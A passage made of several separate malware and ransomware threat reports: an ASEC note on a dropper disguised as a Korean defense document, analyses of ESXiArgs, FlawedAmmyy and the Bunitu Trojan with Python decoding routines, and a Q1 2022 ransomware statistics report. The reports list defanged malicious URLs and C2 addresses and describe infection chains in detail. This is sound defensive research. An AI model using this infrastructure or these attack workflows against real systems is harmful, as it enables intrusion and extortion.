systems help further secure the network while whitelisting (e.g., application control) and behavior monitoring help detect and block anomalous activities from suspicious or unknown files. Safeguard the email gateway to defend against REDBALDKNIGHT’s spear phishing methods. Disable unnecessary and outdated components or plug-ins, and ensure that the system administration tools are used securely, as they can be misused by threat actors. And more crucially, keep the infrastructure and its applications up-to-date to reduce attack surface—from the gateways and networks to endpoints and servers. ## Trend Micro Solutions Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time. It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like REDBALDKNIGHT’s attacks even without any engine or pattern update. Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuse unpatched vulnerabilities. OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed. Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications. XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally identifiable data.
# 2021년 국방부 업무보고 수정 문서로 위장한 악성코드 유포 2021년 2월 3일 ASEC에서는 ‘2021년 국방부 업무보고 수정’ 문서로 위장하여 악성코드가 함께 유포된 정황을 확인하였다. 해당 악성코드의 확장자는 아래와 같이 *.pif로 만들어져 유포되었으며 이는 EXE 확장자와 같은 실행 가능한 파일이다. 파일 실행 시 아래의 그림과 같이 현재 국방부 홈페이지에서 제공하는 정상 PDF 문서의 내용과 동일한 파일이 사용자에게 보여진다. 하지만 정상 PDF 문서 파일과 함께 (사용자 모르게) 악성 파일(DLL 형식)이 생성 및 실행되는 구조를 갖는다. ## 유포 파일 명 - 2021년 국방부 업무보고 수정.pif ## 생성 파일 - %원본파일 경로%\2021년 국방부 업무보고 수정.pdf (정상문서) - C:\ProgramData\Intel\Driver\driver.cfg (악성 DLL 파일) 생성된 정상 ‘2021년 국방부 업무보고 수정.pdf’는 실제 국방부 홈페이지에 업로드 된 문서와 같은 내용으로 유포된다. 생성된 악성 DLL 파일은 regsvr32.exe를 통해 실행되며 아래 그림과 같이 ‘Disk0’이라는 명으로 스케줄 등록되어 30분마다 실행된다. 최종적으로 C2 접속 후 공격자로부터 명령을 받아 추가 악성 행위가 수행될 것으로 보인다. 현재 해당 악성 파일은 아래와 같이 V3에서 진단 중이다. ## [파일 진단] - Downloader/Win64.Agent.C4318031 - Trojan/Win64.Agent.C4318029 ## [관련 IoC] - hxxp://exchange.amikbvx.cf/ - hxxp://imap.pamik.cf/ - 7e041b101e1e574fb81f3f0cdf1c72b8 - 447163d776b62bf0b1c652c996cc0586 **Categories:** 악성코드 정보
# Hide your Hypervisor: Analysis of ESXiArgs Ransomware In this blog post, we will be analyzing the recent “ESXiArgs” Ransomware variant, which spread to a large number of outdated, internet-exposed ESXi Servers around the world. ## Attack Vectors In the past, Ransomware targeting ESXi Hypervisors was largely human-operated as a later stage of general Ransomware attack, where other assets (clients, servers) are encrypted first. Accessing these virtualization systems usually involves acquiring credentials first and changing configuration options to allow for remote access to the Hypervisor, where the ransomware is executed by the attacker through a “hands-on-keyboard” attack. This changed in late 2022 when Juniper Threat Labs first discovered a novel Backdoor targeting ESXi Hypervisors. A few weeks later, this Backdoor script would be the first post-exploitation component of an automated Ransomware campaign named “ESXiArgs” (after the targeted systems and the file extension .args). The spread of ESXiArgs Ransomware surged starting on February 2nd, 2023, when automated exploitation of the Vulnerability CVE-2021-21974 hit many internet-facing ESXi deployments hosted with e.g. OVH, Hetzner, and other hosters around the world. The OpenSLP (Service Location Protocol) on Port 427/tcp is exploited through a Heap-Overflow leading to Remote Code Execution on the ESXi system. Public exploitation tools have been available since June 2021. According to the warning issued by CERT-FR, the vulnerability affects unpatched systems running the following ESXi versions: - ESXi versions 7.x before ESXi70U1c-17325551 - ESXi versions 6.7.x before ESXi670-202102401-SG - ESXi versions 6.5.x before ESXi650-202102101-SG At the time of writing, there are nearly 2500 ESXi systems exposed to the Internet that are affected by ESXiArgs Ransomware as found by the search engine Censys (based on the Ransomnote being present on the ESXi Web Interface). ## Analysis of ESXiArgs Ransomware After the initial exploitation of CVE-2021-21974, the threat actors persist the “vmtools.py” Backdoor script that was previously analyzed by Juniper Threat Labs. The Web Shell consists of an HTTP Server on Port 8008 that accepts post requests with a specified command structure. Requests with the action “local” run commands on the Hypervisor system and output to the web shell. Using the “remote” action, the attackers can open a reverse shell to the specified host IP and port. Once persistence on the Hypervisor is achieved, the threat actors transfer the Ransomware components to the system through an archive file called “archieve.zip,” which contains the Ransomnotes for the Web Interface and SSH Message of the Day, as well as a Bash script and an ELF binary for the file encryption. ESXiArgs Ransomware is implemented in the Bash script while the supplied ELF binary is only used for the encryption process. First, ESXiArgs collects a list of disk and swap files for the configured VMs on the Hypervisor and renames them. In contrast to many other ESXi Ransomware implementations, ESXiArgs does not use utilities like “esxcli,” “vmware-cmd,” or “vim-cmd” to power down running VMs to be able to encrypt them, but rather it just terminates the vmx process. This action could potentially lead to errors or corruption of VM data. When encrypting VM data, ESXiArgs iterates through a list of volumes and tries to encrypt VM storage and configuration files using intermitted encryption blocks. The information which file to encrypt is passed as arguments to the “encrypt” binary. After encrypting the VM files, the Ransomware drops two Ransomnotes: The first one will overwrite the vSphere Web Interface, and the second one will overwrite the SSH Message of the Day to be displayed on Login. To cover their tracks and make following investigations more difficult, ESXiArgs deletes Log-Files from the system. Lastly, ESXiArgs will remove its persistence (e.g. via /etc/rc.local.d/local.sh) and delete all artifacts used for the encryption process to act as an Anti-Analysis measure. The ESXiArgs “encrypt” binary is a 64bit LSB ELF file with the debug information still intact. Still, it only handles the actual file encryption; it is relatively small with a file size of 48KB. The binary features a usage dialog and requires the RSA Public Key, the file path, and values for the intermitted encryption to be passed as arguments. The file encryption is done through a combination of asymmetric RSA and symmetric Sosemanuk algorithms. Sosemanuk is part of the eSTREAM portfolio and a relatively rare sight in Ransomware. From the debug information contained in the binary, we suspect that the threat actors may have based their implementation on this Github repository. ## Recovery Options Before any recovery of virtual machines is attempted, the ESXi Hypervisor should be secured and backed up. In some cases, the encryption may have failed to encrypt the VM data correctly, and therefore some can be recovered. Enes Sonmez & Ahmet Aykac from YoreGroup Tech Team have documented a recovery workflow that might help victims to restore their VMs in a timely manner. It seems that this process only applies to VMs with “thin provisioned” storage though. **Update (2023-02-08):** CISA released a recovery script for affected Hypervisors, you can find it on GitHub. ## Steps to Protect Your Hypervisor 1. **Keep your Hypervisor up-to-date:** Affected ESXi versions should be upgraded to the latest patch immediately. Versions that reached the End-of-Life in terms of vendor support should be decommissioned and migrated to a more recent version. 2. **Do not expose your Hypervisor to the public Internet:** This includes all management interfaces (LAN, IPMI) but also protocols and features such as SSH, OpenSLP, SNMP, and vSphere (which should all be disabled by default). Network access to the Hypervisor should be restricted through a firewall. 3. **Back up your Hypervisor:** As with any other system affected by Ransomware, keeping Backups is a key step in restoring the service in a timely manner. This includes Virtual Harddisk files as well as VMware configuration data for the VMs. 4. **Use Syslog to retain Logs:** ESXiArgs and many other Hypervisor-specific Ransomware target Log files on the system for deletion to prevent further investigation, so it is important to export and store these logs safely. 5. **Disable the execution of unsigned software:** The configuration option execInstalledOnly restricts the ESXi to only execute so-called vSphere Installable Bundles (VIB) which refers to ESXi software components or VMware-approved third-party applications. Any unsigned Ransomware binaries could therefore not be run on the system. It is important to understand that this configuration option should be persisted through UEFI SecureBoot (which requires a supported Hardware TPM) to defend against human-operated Ransomware. 6. **Review user authentication:** User authentication should not be done through Active Directory to prevent lateral movement to the Hypervisor in case of a Domain Controller compromise. Local user accounts should be restricted to a Password Policy, limited authentication attempts, and temporary lockouts if they fail to authenticate. ## Yara Rules Yara rules for the Python, Bash, and Binary files utilized by ESXiArgs Ransomware can be found in our Github repository. ## Indicators of Compromise The Ransomware samples were procured through an affected victim on the BleepingComputer Forum. - `11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66` encrypt - `10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459` encrypt.sh - `773d147a031d8ef06ee8ec20b614a4fd9733668efeb2b05aa03e36baaf082878` vmtools.py **Filenames:** - vmtools.py - encrypt - /tmp/tmpy_8th_nb - nohup.out - public.pem - archieve.zip - motd ## MITRE ATT&CK Mapping | Tactic | Technique | Description | Observable | |---------------------|-------------------------|--------------------------------|------------| | Reconnaissance | Active Scanning: | Threat Actors behind | CVE-2021-21974 artifacts | | | Vulnerability Scanning | ESXiArgs are actively | | | | (T1595.002) | scanning for vulnerable | | | | | ESXi Servers | | | Initial Access | Exploit Public-Facing | Exploitation of OpenSLP | CVE-2021-21974 artifacts | | | Application (T1190) | | | | Execution | Command and Scripting | Backdoor/Web Shell | vmtools.py | | | Interpreter: Python | implemented in Python | | | Persistence | Boot or Logon | Persisting the Python | /etc/rc.local.d/local.sh | | | Initialization Scripts: | backdoor | | | | RC Scripts (T1037.004) | | | | Command and Control | Non-Standard Port | Web Shell implemented | HTTP Post Server on Port 8008 | | | (T1571) | in vmtools.py | | | Command and Control | Non-Standard Port | Reverse Shell | Reverse Shell via specified port; default fallback: 427 | | Execution | Command and Scripting | Ransomware | encrypt.sh | | | Interpreter: Unix Shell | functionality is implemented | | | | (T1059.004) | in Bash | | | Impact | Data Encrypted for Impact | VM data is encrypted via | encrypt binary | | | (T1486) | RSA+Sosemanuk | | | Impact | Service Stop | Ending a process to | Killing the vmx process in encrypt.sh | | | (T1489) | power down VMs | | | Impact | Defacement: External | Defacement of the | Overwriting index.html with the Ransomnote | | | Defacement (T1491.002) | vSphere Web Interface | | | Impact | Defacement: Internal | Defacement of the SSH | Overwriting motd with the Ransomnote | | | Defacement (T1491.001) | MOTD | | | Defense Evasion | Indicator Removal: | Log file deletion | Deleting all .log files | | | Clear Linux or Mac | | | | | System Logs (T1070.002) | | | ## SECUINFRA Falcon Team Digital Forensics & Incident Response experts The SECUINFRA Falcon Team is specialized in the areas of Digital Forensics (DF) and Incident Response (IR). This includes classic host-based forensics, but also topics such as malware analysis or compromise assessment. In addition to the activities for which we are responsible within the scope of customer orders, the Falcon team is also responsible for the operation, further development, and research of various projects and topics in the DF/IR area. These include, for example, threat intelligence or the creation of detection rules based on Yara.
# Leaked Ammyy Admin Source Code Turned into Malware **March 7, 2018** ## Overview Proofpoint researchers have discovered a previously undocumented remote access Trojan (RAT) called FlawedAmmyy that has been used since the beginning of 2016 in both highly targeted email attacks as well as massive, multi-million message campaigns. Narrow attacks targeted the automotive industry among others, while the large malicious spam campaigns appear to be associated with threat actor TA505, an actor responsible for many large-scale attacks since at least 2014. ## Delivery Analysis **March 5, 2018** FlawedAmmyy Admin appeared most recently as the payload in massive email campaigns on March 5 and 6, 2018. The messages in these campaigns contained zipped .url attachments and both the messages and the delivery suggest they were sent by threat actor TA505, known for sending large-scale Dridex, Locky, and GlobeImposter campaigns, among others, over the last four years. For example, on March 5, the messages were sent from addresses spoofing the recipient’s own domain with subjects such as “Receipt No 1234567” (random digits, and first word could also be “Bill” or “Invoice”) and matching attachments "Receipt 1234567.zip". The attachments were ZIP archives containing ".url" files with names such as "B123456789012.url". Again, these were apparently random digits. The .url files are interpreted by Microsoft Windows as “Internet Shortcut” files, examples of which can be found in the “Favorites” folder on Windows operating systems. This type of file can be created manually; they are intended to serve as links to internet sites, launching the default browser automatically. However, in this case, the attacker specified the URL to be a “file://” network share instead of the typical http:// link. As a result, the system downloads and executes a JavaScript file over the SMB protocol rather than launching a web browser if the user clicks “Open” on the warning dialog. This JavaScript in turn downloads Quant Loader, which, in this case, fetched the FlawedAmmyy RAT as the final payload. The use of “.url” files and SMB protocol downloads is unusual, and this is the first time we have seen these methods combined. **March 1, 2018** The FlawedAmmyy RAT previously appeared on March 1 in a narrowly targeted attack. Emails contained an attachment 0103_022.doc, which used macros to download the FlawedAmmyy malware directly. This sample used the same command and control (C&C) address as the sample from the massive campaign on March 5. **January 16, 2018** We also observed this RAT in a narrowly targeted attack that included the automotive industry. Emails contained the attachment 16.01.2018.doc which used macros to download the FlawedAmmyy RAT directly. ## Malware Analysis FlawedAmmyy is based on leaked source code for Version 3 of the Ammyy Admin remote desktop software. As such, FlawedAmmyy contains the functionality of the leaked version, including: - Remote Desktop control - File system manager - Proxy support - Audio Chat The FlawedAmmyy C&C protocol occurs over port 443 with HTTP. In the initial handshake, sent by the client to the server, the first byte is always “=”, followed by 35 obfuscated and SEAL-encrypted bytes. After a server response (0x2d00), the infected client sends the second packet. This packet has a 5-byte header that includes the length of the rest of the packet (0x78). The body of this packet contains cleartext key-value pairs: | Parameter | Explanation | Example Value | |-------------|-----------------------------------------------------------------------------|------------------------| | id | 8 digit number, the first digit always being ‘5’ and the remaining 7 | 53466221 | | os | Operating system | 7 SP1 x86 | | priv | Privilege | Admin | | cred | Username | DOMAIN\Username1 | | pcname | Computer name | Computer3 | | avname | Antivirus product name obtained via WMI query | Windows Defender | | card | 1 if a usable smart-card is inserted into a reader, 0 otherwise | 1 | | build_time | Malware build time, obtained at runtime by reading the PE timestamp field | 14-01-2018 6:34:27 | ## Conclusion Ammyy Admin is a popular remote access tool used by businesses and consumers to handle remote control and diagnostics on Microsoft Windows machines. However, leaked source code for Version 3 of Ammyy Admin has emerged as a Remote Access Trojan called FlawedAmmyy appearing in a variety of malicious campaigns. For infected individuals, this means that attackers potentially have complete access to their PCs, giving threat actors the ability to access a variety of services, steal files and credentials, and much more. We have seen FlawedAmmyy in both massive campaigns, potentially creating a large base of compromised computers, as well as targeted campaigns that create opportunities for actors to steal customer data, proprietary information, and more. ## Indicators of Compromise (IOCs) **March 5 campaign:** | IOC | IOC Type | Description | |----------------------------------------------------------------------------------------------|----------|--------------------------------------------------| | 18436342cab7f1d078354e86cb749b1de388dcb4d1e22c959de91619947dfd63 | SHA256 | bill 0256853.zip | | d82ca606007be9c988a5f961315c3eed1b12725c6a39aa13888e693dc3b9a975 | SHA256 | B123177432431.url | | file[:]//buyviagraoverthecounterusabb[.]net/documents/B123456789012.js | URL | SMB URL contained in the Internet Shortcut | | 8903d514549aa9568c7fea0123758b954b9703c301b5e4941acb33cccd0d7c57 | SHA256 | B37348362793.js (downloaded over SMB) | | hxxp://chimachinenow[.]com/kjdhc783 | URL | JS Payload Example | | hxxp://highlandfamily[.]org/kjdhc783 | URL | JS Payload Example | | hxxp://intra[.]cfecgcaquitaine[.]com/kjdhc783 | URL | JS Payload Example | | hxxp://motifahsap[.]com/kjdhc783 | URL | JS Payload Example | | hxxp://sittalhaphedver[.]com/p66/kjdhc783 | URL | JS Payload Example | | 2b53466eebd2c65f81004c567df9025ce68017241e421abcf33799bd3e827900 | SHA256 | Quant Loader | | hxxp://wassronledorhad[.]in/q2/index.php | SHA256 | Quant Loader C&C | | hxxp://balzantruck[.]com/45rt.exe | SHA256 | Quant Loader Payload (FlawedAmmyy) | | 0d100ff26a764c65f283742b9ec9014f4fd64df4f1e586b57f3cdce6eadeedcd | SHA256 | FlawedAmmyy | | 179.60.146[.]3:443 | IP:Port | FlawedAmmyy C&C | **March 1 campaign:** | IOC | IOC Type | Description | |----------------------------------------------------------------------------------------------|----------|--------------------------------------------------| | 9a7fb98dd4c83f1b4995b9b358fa236969e826e4cb84f63f4f9881387bc88ccf | SHA256 | Macro MHT document Example | | hxxp://185.176.221[.]54/chrome.exe | SHA256 | Payload download | | b0ad80bf5e28e81ad8a7b13eec9c5c206f412870814d492b78f7ce4d574413d2 | SHA256 | FlawedAmmyy | | 179.60.146[.]3:443 | IP:Port | C&C | **January 16 campaign:** | IOC | IOC Type | Description | |----------------------------------------------------------------------------------------------|----------|--------------------------------------------------| | cafa3466e422dd4256ff20336c1a032bbf6e915f410145b42b453e2646004541 | SHA256 | FlawedAmmyy | | 194.165.16.11[:]443 | IP:Port | C&C | ## List of code-signing Certificates used: | Subject Name | Serial Number | |-----------------------|----------------------------------------------------| | CYBASICS LTD | 00 BB AE 27 7A C3 D9 CF 3F 85 00 86 A3 14 E7 0A D7 | | CYBASICS LTD | 7F 6B 67 8E 66 DD 35 D6 58 9D 9B B2 0F C3 BA 0B | | AdFuture Ltd | 25 43 BF D0 26 6A 5C ED A6 63 9A 2A 49 15 75 3A | | LLC "ASTER-AYTI" | 10 88 E7 1C 82 F9 BB 73 74 7C 6D 0B 75 E0 5F 17 | | Atrast, OOO | 00 A0 71 DB B3 2B 9D E4 F8 D2 17 39 44 C3 C2 39 F9 | ## ET and ETPRO Suricata/Snort Coverage - 2025408 | Win32/FlawedAmmyy RAT CnC Checkin - 2024452 | ET TROJAN Quant Loader v1.45 Download Request - 2023203 | ET TROJAN Quant Loader Download Request
# Revisiting The Bunitu Trojan This post describes the infection process of the latest version of the Bunitu Proxy Trojan as seen delivered by the Neutrino Exploit Kit via a malvertising campaign. We will start from a high-level overview of the issue and used elements. Then, we will dive deeper into the techniques of hiding and obfuscating the modules. ## What is Bunitu Proxy and why is it dangerous? As its name suggests, Bunitu Proxy is a Trojan that exposes the infected computer to be used as a proxy for remote clients. It is done in a few steps: 1. Installs itself on the machine 2. Opens ports for the remote connections 3. Registers itself in the remote server (clients database) informing about its address and open ports 4. Accepts connections coming on the exposed ports and bypasses the traffic It may have various consequences for the infected user. Basically, it uses his/her resources and slows down the network traffic. But it may also frame him/her in some illegal activities carried out by the attackers due to the fact that the infected client’s IP is the one visible from the outside. ## How is the infection carried? Bunitu has been dropped from various exploit kits. On June 10th, 2015, as Websense Security Labs described in their post, it was dropped by the Angler Exploit Kit. This time, a similar payload is distributed by Neutrino EK. ### Role of Neutrino EK A malvertising from Adcash redirected users to the Neutrino EK via a compromised site and rotator. The rotator does its job of switching to a new sub-domain every few minutes. This technique is often used to bypass blacklists because the malicious URLs are ‘moving targets’. At this stage, users of Malwarebytes Anti-Exploit were protected – the product detected and stopped the malicious activity. But if deployed on a vulnerable, unprotected machine, infection followed further – the payload was dropped and deployed. ## Payload: Bunitu Proxy ### Infection symptoms Looking at the payload from outside, we will see just a typical installer (with an NSIS installer icon). It pretends to be a legitimate piece of software – scamming an existing product: ManyCam by Visicom Media. After dropping the malicious DLL, the installer tries to run it. Then we witness the attempt of opening the ports for incoming connections. Windows Firewall alerts about this attempt. Also, after the successful setup, when the computer is restarted, the persistent module runs again – triggering a similar alert. If we see the details of the running process (rundll32) in Process Explorer, it will reveal the module that has been loaded and the open ports (chosen randomly at the time of installation). If we keep it running for some time, we may even see the clients that connected via our unwanted proxy. ## Technical details To hide its real intentions, the installer uses several layers of protection. It takes several modules to run before the malicious DLL (serving as proxy) is revealed. ### Flow: - installer.exe -> unpacks and loads: - lithiasis.dll, function: Avidness -> decrypts and runs using RunPE technique: - stub_unpacked.exe -> unpacks and loads: - ynfucvu.dll, function: ynfucvu -> performs all the malicious activities The installer unpacks several files into `%APPDATA%/Local/Temp/`. It seems that not all of them play a role in unpacking the payload – some are dropped only to make “noise”. Then, it loads the dropped module: lithiasis.dll into memory and executes the function called – in the analyzed case – Avidness (responsible for further unpacking). ### lithiasis.dll, Avidness - is unpacked and loaded by the installer.exe - is obfuscated - uses files: - dalookerzmeoajrhja144 – packed list of functions that are going to be loaded in order to do further unpacking - UncryptedStub._ini – packed executable (referred to as: stub_unpacked.exe) Files are encrypted with obfuscated, custom XOR based algorithms. For each file, the used algorithm is slightly different. ### Bunitu Proxy – decoding scripts ```python #1 Decrypting functions def decode1(data, key, max_key): l = len(key) j = 0 # key index decoded = bytearray() for i in range(0, len(data)): decoded.append(data[i] ^ key[j % l]) if (i > 0): j += 1 if (j == max_key): j = 0 return decoded #2 Decrypting PE file def decode2(data, key, max_key): j = 0 # key index prev_j = 0 decoded = bytearray() for i in range(0, len(data)): val = data[i] + prev_j val = ((val ^ key[j]) ^ key[prev_j]) % 256 decoded.append(val) prev_j = j j = j + 1 if (j == max_key): j = 0 return decoded ``` After decrypting the new executable: stub_unpacked.exe – it loads it into the memory using “RunPE” technique (unmaps the installer.exe and loads the new PE section by section on its place). ### stub_unpacked.exe Its main role is to unpack from inside the “heart” of the malware: module ynfucvu.dll. It also loads and deploys it. It makes following registry keys (Winlogon Notify). The key ‘zinkraxx’ is used to uniquely identify the installation. After unpacking the DLL, it drops it in `%APPDATA%/Local` folder. Then, it loads in the memory and enters in the function ynfucvu of ynfucvu.dll – using JMP EAX. ### ynfucvu.dll, ynfucvu This is the Bunitu Proxy module – the malicious part of the full package. It is independent from other modules. Once installed, it is loaded on system startup, using rundll32.exe. The entry point is in the function ynfucvu. It carries all the network operations – registers the client on the server, opens ports, and serves as a proxy. Techniques used by the Bunitu Proxy module haven’t changed much from June 10th, when it was described by Websense Security Lab. Even the xor-ed value is exactly the same! This module is slightly obfuscated – i.e. domains used to resolve C&Cs are given in plain text. Only their addresses are calculated on the fly – to make it difficult to find where they are referred. It is also responsible for creating registry keys used for persistence and tries to be invisible for the firewall – by adding itself to the list of Authorized Applications. ### Analyzed sample Original sample (installer) md5=542f7b96990de6cd3b04b599c25ebe57; payload (ynfucvu.dll) md5=1bf287bf6cbe4d405983d1431c468de7. ## Conclusion It seems that this malware is being actively distributed through various exploit kits. However, the mutation of the core is not so fast, as we see our sample is very similar to the one observed a month ago. Still, the used packing, composed of many layers, gave it an advantage of low detection rates in the early days after the release. On the other hand, the good news is that it’s not an entirely stealthy piece of malware (except on Windows XP), so a cautious user can notice some of the alarming symptoms.
# LockBit, Conti, and BlackCat Lead Pack Amid Rise in Active RaaS and Extortion Groups: Ransomware in Q1 2022 Ransomware actors were off to a running start in 2022, ramping up their activity as more gangs joined the fray. Using data from ransomware-as-a-service (RaaS) and extortion groups’ leak sites, Trend Micro’s open-source intelligence (OSINT) research, and the Trend Micro™ Smart Protection Network™, we mapped out the ransomware threat landscape of the first quarter (from Jan. 1 to March 31) of 2022. We tracked ransomware activity with a focus on the malicious actor groups behind the three ransomware families that pulled in the highest numbers of successful attacks during this period: the notorious LockBit and Conti, and the rising player BlackCat. ## Ransomware threats post year-on-year growth Our telemetry showed that during this three-month span, we detected and blocked a total of 4,439,903 ransomware threats across email, URL, and file layers. This is a 36.6% increase in overall ransomware threats from the previous quarter (the fourth quarter of 2021), and a 174.3% year-on-year rise (from the first quarter of 2021). The number of RaaS and extortion groups grew by 63.2% in the first quarter of 2022 over the same period the previous year, an increase that inevitably led to more organizations falling prey to ransomware activity. According to the ransomware groups’ leak sites, which recorded attacks on successfully compromised organizations that refused to pay the ransom, ransomware victims rose by 29.2% year-on-year. ## LockBit, Conti, and BlackCat’s for-hire attacks prevail The three ransomware families that laid claim to the highest numbers of successful attacks in the first quarter of 2022 were all widely known for operating under the RaaS model. Based on data from the leak sites of their operators, 35.8% of these attacks were attributed to LockBit, while 19% belonged to Conti and 9.6% to BlackCat. Based on our ransomware data, which tracked detections of ransomware attempts to compromise organizations, LockBit and Conti were among the top 10 families detected in the entire first quarter of 2022. Meanwhile, BlackCat was among the top 10 ransomware families detected in February and March 2022. Of the three, only Conti was among the top active ransomware families in the first quarter of 2021, based on RaaS and extortion groups’ leak sites. In fact, Conti was first among them in that period, racking up a victim count of 105. The Federal Bureau of Investigation (FBI) estimates that the group behind Conti, which Trend Micro tracks as Water Goblin, has amassed more than 1,000 victims and payouts amounting to over US$150 million as of January 2022, making it one of the costliest ransomware families ever documented. RaaS providers like LockBit, detections of which were at their highest in the first quarter of 2022 in February, have become an even more formidable threat since incorporating double extortion in their playbooks. Under double extortion, ransomware actors not only encrypt their victims’ data and demand payment in exchange for restoration of access, but they also put additional pressure on victims by threatening to release the data if the ransom is not paid. LockBit operators relied on this tactic after they took credit for an attack on France’s Ministry of Justice in January 2022, threatening to publish sensitive ministry data on the dark web upon failure of payment. Relative to Conti and LockBit, BlackCat (aka AlphaVM, AlphaV, or ALPHV) is a newcomer; it was first reported in November 2021 by researchers from MalwareHunterTeam. But what sets it apart from many other RaaS operators is its use of triple extortion, a tactic where ransomware actors threaten to launch distributed denial-of-service (DDoS) attacks on their victims’ infrastructure on top of leaking their data unless the ransom is paid. BlackCat demands millions of US dollars in bitcoin or monero from its victims. It is shaping up to be a major contender in the underground marketplace, thanks to its generous payouts to its RaaS affiliates, who can earn as much as 90% of paid ransoms. BlackCat, which our detections showed was most active in the first quarter of 2022 in February, has successfully compromised at least 60 organizations around the world as of March. BlackCat is also notable for being the first professional ransomware family to be written in Rust. This is a major selling point for BlackCat, as Rust is considered a more secure programming language that is capable of concurrent processing. As a cross-platform language, Rust also makes it easier for threat actors to tailor malware to different operating systems like Windows and Linux. ## Ransomware attackers set their sights on small and medium-size businesses Small businesses are often subjected to a huge volume of cyberattacks because malicious actors believe that they have fewer resources to counter cyberthreats, while medium-size ones make compelling targets because they possess comparatively valuable assets. According to its leak site data, Conti staged attacks primarily on medium-size organizations (with 201 to 1,000 employees), accounting for 41.9% of its successful attacks in the first quarter of 2022, with the rest of its attacks evenly split between small businesses (with at most 200 employees) and large enterprises (with more than 1,000 employees). In contrast, 65.5% of LockBit’s successful attacks in the first quarter of 2022 affected small businesses, followed by medium-size companies at 20.5% and large enterprises at 10.5%. Similarly, BlackCat victimized mostly small businesses in the first quarter of 2022, making up 57.6% of its successful attacks, with medium-size organizations and large enterprises constituting 25.4% and 17%, respectively. ## Government, finance, and manufacturing industries grapple with onslaught of attacks Our telemetry showed that government agencies and financial companies consistently ranked in the top three industries in terms of ransomware file detections from January to March 2022, followed by organizations in the manufacturing and fast-moving consumer goods (FMCG) industries. Ransomware actors continued to beset government organizations, which also contended with high quantities of ransomware detections in the fourth quarter of 2021. Organizations in finance and IT remained common targets of RaaS and extortion groups. In a repeat of the first quarter of last year, ransomware groups’ leak sites showed that these two industries sustained the most attacks in the first quarter of 2022. Ransomware groups have typically been drawn to financial companies not only for their valuable data, but also because their attack surface continues to expand as a result of increased connectivity and a more distributed workforce. Our detections were more or less consistent with our findings from ransomware groups’ leak sites, where financial organizations bore the brunt — 12.7% — of LockBit’s successful attacks in the first quarter of 2022. The construction and manufacturing industries each made up 9.5% of LockBit’s victim count in the same period. This count included one of the world’s largest tire manufacturers, which LockBit compromised in February. ### Table 1. The top industries affected by LockBit’s successful attacks in terms of victim organizations in the first quarter of 2022 | Industry | Victim count | |------------------------|--------------| | Finance | 28 | | Construction | 21 | | Manufacturing | 21 | | IT | 16 | | Professional services | 16 | | Others | 118 | | **Total** | **220** | In comparison, Conti’s victims in the first quarter of 2022 were more varied: 12.8% of them were involved in manufacturing, with materials and professional services companies running close behind at 10.3% and 8.5%, respectively. One notable Conti attack occurred in January, against a Taiwanese electronics company that supplies components to the likes of Apple, Dell, and Tesla. Fortunately, only noncritical systems were affected, but the company’s high-profile clientele gives an idea of how ransomware attacks have the potential to also affect a victim’s big-name clients. ### Table 2. The top industries affected by Conti’s successful attacks in terms of victim organizations in the first quarter of 2022 | Industry | Victim count | |------------------------|--------------| | Manufacturing | 15 | | Materials | 12 | | Professional services | 10 | | Construction | 9 | | IT | 8 | | Others | 63 | | **Total** | **117** | Organizations in the professional services industry were hit hardest by BlackCat in the first quarter of 2022, as they were the victims in 13.6% of its successful attacks. Additionally, the finance and legal services industries each experienced 10.2% of BlackCat’s successful attacks. One organization that fell victim to BlackCat’s activity was a Swiss aviation business, which suffered a data leak in February that included the company’s internal memos and information on job applicants. ### Table 3. The top industries affected by BlackCat’s successful attacks in terms of victim organizations in the first quarter of 2022 | Industry | Victim count | |------------------------|--------------| | Professional services | 8 | | Finance | 6 | | Legal services | 6 | | Apparel and fashion | 5 | | Materials | 5 | | Others | 29 | | **Total** | **59** | ## Ransomware takes a toll on organizations in Europe and North America Our investigation into RaaS and extortion groups’ leak sites showed that the US still topped the list of countries that suffered the most RaaS and extortion attacks, but many European countries were also affected. The bulk — 40.5% — of LockBit’s victims in the first quarter of 2022 were organizations located in Europe, followed by those in North America at 34.1% and those in Asia-Pacific at 10.9%. In particular, the US, Italy, and France experienced the most LockBit attacks. Even though most of LockBit’s victims were based in Europe, the FBI noted in February that LockBit’s latest known version, LockBit 2.0, was designed to identify and exclude Eastern European organizations from its attacks. LockBit’s previous version also had an automated vetting process that screened out systems in Russia and countries belonging to the Commonwealth of Independent States, possibly as a means of avoiding prosecution in these countries. In February, Conti, which has many members located in Russia, weighed in on the Russia-Ukraine conflict and expressed its intent to retaliate against anyone who would stage cyberattacks on Russia. This might explain, in part, the regional distribution of its activity in the first quarter of 2022: Organizations in North America were the most affected by its successful attacks, making up 49.6% of its victims, whereas those in Europe accounted for 41.9% and those in the Asia-Pacific region made up 6%. Most of Conti’s victims were in the US, Germany, and the UK. Like Conti, BlackCat focused its activity in the first quarter of 2022 on victims located in North America, where 50.8% of its successful attacks took place. Its victims in Europe and Asia-Pacific accounted for 25.4% and 18.6%, respectively. More specifically, it homed in on targets in the US and Italy. In the first quarter of 2022, BlackCat was responsible for headline-making attacks on prominent European companies, including a German fuel distribution firm and an Italian high-end fashion brand. ## Security solutions and practices safeguard organizations against ransomware attacks Ransomware remains a major threat to businesses of all sizes, which must contend with malicious actors wielding an arsenal of increasingly sophisticated tools and techniques. Organizations can mitigate the risk of ransomware attacks that could compromise their data by following these recommended security practices: - **Enable multifactor authentication.** Organizations should have policies in place that require employees who access or store company data on their devices to enable multifactor authentication, so that any sensitive information in these devices cannot be easily accessed. - **Back up data.** As much as possible, organizations should follow the “3-2-1 rule” to protect their important files: Create at least three backup copies in two different file formats, with one of those copies stored off-site. - **Keep systems up to date.** Organizations should update all of their applications, operating systems, and other software as soon as patches are released by vendors and developers. Doing so can help prevent ransomware actors from exploiting vulnerabilities to gain access to organizations’ systems. - **Verify emails before opening them.** Organizations should train their employees to avoid downloading attachments or clicking on embedded links in emails from senders 